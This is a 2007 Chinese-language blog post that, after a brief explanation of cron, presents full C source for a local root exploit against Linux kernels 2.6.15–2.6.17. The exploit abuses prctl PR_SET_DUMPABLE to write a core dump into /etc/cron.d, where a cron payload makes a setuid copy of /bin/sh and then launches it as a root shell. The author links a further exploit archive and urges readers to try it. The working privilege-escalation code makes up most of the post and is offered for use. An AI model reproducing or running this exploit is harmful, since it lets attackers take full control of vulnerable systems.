注册 | 登录 忘记密码? 51cto首页 | 博客 | 论坛 | 招聘
热点文章 《网络规划设计师教程》..
 帮助

获取linux 2.6.15 root权限


2007-03-04 14:19:25
 标签:linux   [推送到技术圈]

先介绍下cron,crontab文件可以让系统定时执行工作(相当于windows上的task计划),Cron是一个常驻程序(daemon),在开机时激活cron的daemon时,它会自动去检查相关目录,看看是否有任何cron文件。每一个user的可以去设定自己所要排定执行的工作。系统会定期执行 /etc/下的cron.d、cron.daily、cron.hourly、cron.weekly、cron.monthly目录下的命令。
我们关心的是怎么让它产生core dump,然后获取root权限。
正文]:
/*
 *getroot.c
 * 2006/11/08 Linux 2.6.15 Exp
 * Modified by gz1X <gz1X@tom.com>
 * Thx to:
 * [*]Marco Ivaldi  <raptor@0xdeadbeef.info>
 * [*]Julien TINNES
 *
 * Usage:
 * $ gcc getroot.c -o getroot -Wall
 * $ ./getroot
 *
 * test on dubuntu 2.6.15-23-686
 * theoretically it will work on 2.6.15-2.6.17
 */
#include <stdio.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/prctl.h>
char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root    chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";
int main() {
    int id,i;
    struct rlimit   corelimit={RLIM_INFINITY, RLIM_INFINITY};
    system("cp /bin/sh /tmp/sh");
    setrlimit(RLIMIT_CORE, &corelimit);
    if ( !( id = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }
    kill(id, SIGSEGV);
    fprintf(stderr, "Getting the root shell.Please wait...\n");
    for (i = 0; i < 120; i++) {
        fprintf(stderr, ".");
        sleep(1);
    }
    fprintf(stderr,"\n");       
    system("/tmp/sh");
    return 1;   
}

[*[下载]:
附上Julien TINNES的攻击源代码,大家可以尝试之。攻击效果非常好。各种linux平台都没问题。
Julien TINNES-exp.zip 
just enjoy!
:-)


上一篇 溢出实验  下一篇 哑巴监视器

类别:未分类 ┆ 技术圈()阅读() ┆ 评论()推送到技术圈返回首页  


    文章评论
 
2007-03-10 10:18:52
进来顶一下!

 

发表评论

昵   称:
验证码:  点击图片可刷新验证码  博客过2级,无需填写验证码
内   容: